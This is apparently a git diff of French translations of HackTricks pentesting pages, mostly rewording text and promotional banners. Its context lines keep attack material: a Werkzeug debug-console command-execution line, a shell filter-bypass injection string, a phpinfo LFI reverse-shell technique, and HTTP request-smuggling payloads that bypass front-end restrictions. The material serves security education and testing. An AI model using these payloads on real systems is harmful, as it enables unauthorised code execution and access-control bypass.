```python
|
||||
__import__('os').popen('whoami').read();
|
||||
```
|
||||
|
@ -33,9 +33,9 @@ __import__('os').popen('whoami').read();
|
|||
|
||||
Il existe également plusieurs exploits sur Internet comme [celui-ci](https://github.com/its-arun/Werkzeug-Debug-RCE) ou un dans metasploit.
|
||||
|
||||
## Protégé par un code PIN - Traversée de chemin
|
||||
## Protégé par un PIN - Traversée de chemin
|
||||
|
||||
Dans certaines occasions, le point de terminaison **`/console`** sera protégé par un code PIN. Si vous avez une **vulnérabilité de traversée de fichier**, vous pouvez leak toutes les informations nécessaires pour générer ce code PIN.
|
||||
Dans certaines occasions, le point de terminaison **`/console`** sera protégé par un PIN. Si vous avez une **vulnérabilité de traversée de fichier**, vous pouvez leak toutes les informations nécessaires pour générer ce PIN.
|
||||
|
||||
### Exploit de PIN de la console Werkzeug
|
||||
|
||||
|
@ -184,7 +184,7 @@ C'est parce qu'il est possible d'envoyer certains caractères **Unicode** dans W
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -199,7 +199,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Autres astuces Web
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,7 +17,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -33,8 +33,8 @@ Notez qu'il est possible que vous n'ayez même pas besoin d'attendre que l'utili
|
|||
|
||||
### Booléens de session
|
||||
|
||||
Parfois, lorsque vous complétez une vérification correctement, le back-end **ajoute simplement un booléen avec la valeur "True" à un attribut de sécurité de votre session**. Ensuite, un point de terminaison différent saura si vous avez réussi à passer cette vérification.\
|
||||
Cependant, si vous **passez la vérification** et que votre session se voit attribuer cette valeur "True" dans l'attribut de sécurité, vous pouvez essayer d'**accéder à d'autres ressources** qui **dépendent du même attribut** mais auxquelles vous **ne devriez pas avoir accès**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Parfois, lorsque vous complétez correctement une vérification, le back-end **ajoute simplement un booléen avec la valeur "True" à un attribut de sécurité de votre session**. Ensuite, un point de terminaison différent saura si vous avez réussi à passer ce contrôle.\
|
||||
Cependant, si vous **passez le contrôle** et que votre session se voit attribuer cette valeur "True" dans l'attribut de sécurité, vous pouvez essayer d'**accéder à d'autres ressources** qui **dépendent du même attribut** mais auxquelles vous **ne devriez pas avoir accès**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Fonctionnalité d'enregistrement
|
||||
|
||||
|
@ -57,15 +57,15 @@ Les développeurs peuvent oublier de désactiver diverses options de débogage d
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et le cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
# Injection de Commande
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
@ -17,7 +17,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -52,7 +52,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
```
|
||||
### **Limitation** Bypasses
|
||||
|
||||
Si vous essayez d'exécuter **des commandes arbitraires à l'intérieur d'une machine linux**, vous serez intéressé à lire sur ces **Bypasses :**
|
||||
Si vous essayez d'exécuter **des commandes arbitraires à l'intérieur d'une machine linux**, vous serez intéressé de lire à propos de ces **Bypasses :**
|
||||
|
||||
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||||
|
@ -164,7 +164,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -44,11 +44,11 @@ Ensuite, si vous avez trouvé une vulnérabilité LFI dans le serveur web, vous
|
|||
|
||||
Dans **Windows**, les fichiers sont généralement stockés dans **C:\Windows\temp\php**
|
||||
|
||||
Dans **linux**, le nom du fichier était généralement **aléatoire** et situé dans **/tmp**. Comme le nom est aléatoire, il est nécessaire d'**extraire d'une manière ou d'une autre le nom du fichier temporaire** et d'y accéder avant qu'il ne soit supprimé. Cela peut être fait en lisant la valeur de la **variable $\_FILES** à l'intérieur du contenu de la fonction "**phpconfig()**".
|
||||
Dans **linux**, le nom du fichier est généralement **aléatoire** et situé dans **/tmp**. Comme le nom est aléatoire, il est nécessaire d'**extraire d'une manière ou d'une autre le nom du fichier temporaire** et d'y accéder avant qu'il ne soit supprimé. Cela peut être fait en lisant la valeur de la **variable $\_FILES** à l'intérieur du contenu de la fonction "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** utilise un tampon de **4096B** et lorsqu'il est **plein**, il est **envoyé au client**. Ensuite, le client peut **envoyer** **beaucoup de grandes requêtes** (en utilisant de grands en-têtes) **téléchargeant un php** reverse **shell**, attendre que **la première partie de phpinfo() soit renvoyée** (où se trouve le nom du fichier temporaire) et essayer d'**accéder au fichier temporaire** avant que le serveur php ne supprime le fichier en exploitant une vulnérabilité LFI.
|
||||
**PHP** utilise un tampon de **4096B** et lorsqu'il est **plein**, il est **envoyé au client**. Ensuite, le client peut **envoyer** **beaucoup de grandes requêtes** (en utilisant de grands en-têtes) **téléchargeant un php** reverse **shell**, attendre que **la première partie de phpinfo() soit renvoyée** (où le nom du fichier temporaire se trouve) et essayer d'**accéder au fichier temporaire** avant que le serveur php ne supprime le fichier en exploitant une vulnérabilité LFI.
|
||||
|
||||
**Script Python pour essayer de brute-forcer le nom (si la longueur = 6)**
|
||||
```python
|
||||
|
@ -74,7 +74,7 @@ print('[x] Something went wrong, please try again')
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -88,7 +88,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
|
|
|
@ -10,14 +10,14 @@ Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
|
@ -53,7 +53,7 @@ Cela pourrait être très critique car **un attaquant pourra envoyer une requêt
|
|||
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
|
||||
|
||||
* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
|
||||
* **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne**, mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
* **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
|
||||
* **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** lors de la première requête du request Smuggling.
|
||||
|
||||
## Exemples de base
|
||||
|
@ -62,7 +62,7 @@ Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 oct
|
|||
Lors de l'exploitation de cela avec Burp Suite, **désactivez `Update Content-Length` et `Normalize HTTP/1 line endings`** dans le répéteur car certains gadgets abusent des nouvelles lignes, des retours chariot et des content-length malformés.
|
||||
{% endhint %}
|
||||
|
||||
Les attaques de HTTP request smuggling sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
|
||||
Les attaques de smuggling de requêtes HTTP sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
|
||||
|
||||
### Exemples de base des types de vulnérabilités
|
||||
|
||||
|
@ -72,14 +72,14 @@ Les attaques de HTTP request smuggling sont élaborées en envoyant des requête
|
|||
À la table précédente, vous devriez ajouter la technique TE.0, comme la technique CL.0 mais en utilisant Transfer Encoding.
|
||||
{% endhint %}
|
||||
|
||||
#### Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
|
||||
#### Vulnérabilité CL.TE (Content-Length utilisée par le Front-End, Transfer-Encoding utilisée par le Back-End)
|
||||
|
||||
* **Front-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
|
||||
* **Back-End (TE) :** Traite la requête en fonction de l'en-tête `Transfer-Encoding`.
|
||||
* **Scénario d'attaque :**
|
||||
* L'attaquant envoie une requête où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu.
|
||||
* Le serveur front-end transmet l'intégralité de la requête au back-end, en fonction de la valeur de `Content-Length`.
|
||||
* Le serveur back-end traite la requête comme étant en morceaux en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête séparée et subséquente.
|
||||
* Le serveur back-end traite la requête comme étant chunked en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête séparée et subséquente.
|
||||
* **Exemple :**
|
||||
|
||||
```
|
||||
|
@ -95,12 +95,12 @@ GET /404 HTTP/1.1
|
|||
Foo: x
|
||||
```
|
||||
|
||||
#### Vulnérabilité TE.CL (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)
|
||||
#### Vulnérabilité TE.CL (Transfer-Encoding utilisée par le Front-End, Content-Length utilisée par le Back-End)
|
||||
|
||||
* **Front-End (TE) :** Traite la requête en fonction de l'en-tête `Transfer-Encoding`.
|
||||
* **Back-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
|
||||
* **Scénario d'attaque :**
|
||||
* L'attaquant envoie une requête en morceaux où la taille du morceau (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne s'alignent pas.
|
||||
* L'attaquant envoie une requête chunked où la taille du morceau (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne s'alignent pas.
|
||||
* Le serveur front-end, respectant `Transfer-Encoding`, transmet l'intégralité de la requête au back-end.
|
||||
* Le serveur back-end, respectant `Content-Length`, ne traite que la partie initiale de la requête (`7b` octets), laissant le reste comme partie d'une requête subséquente non intentionnelle.
|
||||
* **Exemple :**
|
||||
|
@ -123,7 +123,7 @@ x=
|
|||
|
||||
```
|
||||
|
||||
#### Vulnérabilité TE.TE (Transfer-Encoding utilisé par les deux, avec obfuscation)
|
||||
#### Vulnérabilité TE.TE (Transfer-Encoding utilisée par les deux, avec obfuscation)
|
||||
|
||||
* **Serveurs :** Les deux prennent en charge `Transfer-Encoding`, mais l'un peut être trompé pour l'ignorer via l'obfuscation.
|
||||
* **Scénario d'attaque :**
|
||||
|
@ -149,7 +149,7 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **Scénario CL.CL (Content-Length utilisé par le Front-End et le Back-End)**
|
||||
#### **Scénario CL.CL (Content-Length utilisée par le Front-End et le Back-End)**
|
||||
|
||||
* Les deux serveurs traitent la requête uniquement en fonction de l'en-tête `Content-Length`.
|
||||
* Ce scénario ne conduit généralement pas au smuggling, car il y a un alignement dans la façon dont les deux serveurs interprètent la longueur de la requête.
|
||||
|
@ -205,7 +205,7 @@ EMPTY_LINE_HERE
|
|||
|
||||
Cette technique est également utile dans des scénarios où il est possible de **casser un serveur web tout en lisant les données HTTP initiales** mais **sans fermer la connexion**. De cette manière, le **corps** de la requête HTTP sera considéré comme la **prochaine requête HTTP**.
|
||||
|
||||
Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela ferait **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
|
||||
Par exemple, comme expliqué dans [**ce rapport**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela fera **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
|
||||
|
||||
#### Forcer via des en-têtes hop-by-hop
|
||||
|
||||
|
@ -270,17 +270,17 @@ X
|
|||
### Autres méthodes pour trouver des vulnérabilités
|
||||
|
||||
* **Analyse de réponse différentielle :**
|
||||
* Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une anomalie de parsing.
|
||||
* Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une discordance de parsing.
|
||||
* **Utilisation d'outils automatisés :**
|
||||
* Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses.
|
||||
* **Tests de variance de Content-Length :**
|
||||
* Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère de tels décalages.
|
||||
* Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne sont pas alignées avec la longueur réelle du contenu et observer comment le serveur gère de tels décalages.
|
||||
* **Tests de variance de Transfer-Encoding :**
|
||||
* Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs front-end et back-end réagissent différemment à de telles manipulations.
|
||||
|
||||
### Test de vulnérabilité de HTTP Request Smuggling
|
||||
|
||||
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de polluer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) démontrent comment polluer une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
|
||||
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de contaminer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Exemples de base](./#basic-examples) démontrent comment empoisonner une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
|
||||
|
||||
**Considérations clés**
|
||||
|
||||
|
@ -288,7 +288,7 @@ Lors du test des vulnérabilités de request smuggling en interférant avec d'au
|
|||
|
||||
* **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
|
||||
* **URL et paramètres cohérents :** Visez à utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie.
|
||||
* **Conditions de timing et de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications occupées peuvent nécessiter plusieurs essais pour une confirmation concluante de la vulnérabilité.
|
||||
* **Timing et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications occupées peuvent nécessiter plusieurs essais pour une confirmation concluante de la vulnérabilité.
|
||||
* **Défis d'équilibrage de charge :** Les serveurs front-end agissant comme des équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque ne réussira pas. Cet aspect d'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
|
||||
* **Impact utilisateur non intentionnel :** Si votre attaque impacte involontairement la requête d'un autre utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nécessitant une approche prudente.
|
||||
|
||||
|
@ -335,11 +335,11 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
Inversement, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme dans l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`.
|
||||
Inverse, dans l'attaque TE.CL, la requête `POST` initiale utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Semblable à l'attaque CL.TE, le proxy frontal ignore la requête `GET /admin` dissimulée, accordant involontairement l'accès au chemin restreint `/admin`.
|
||||
|
||||
### Réécriture des requêtes front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
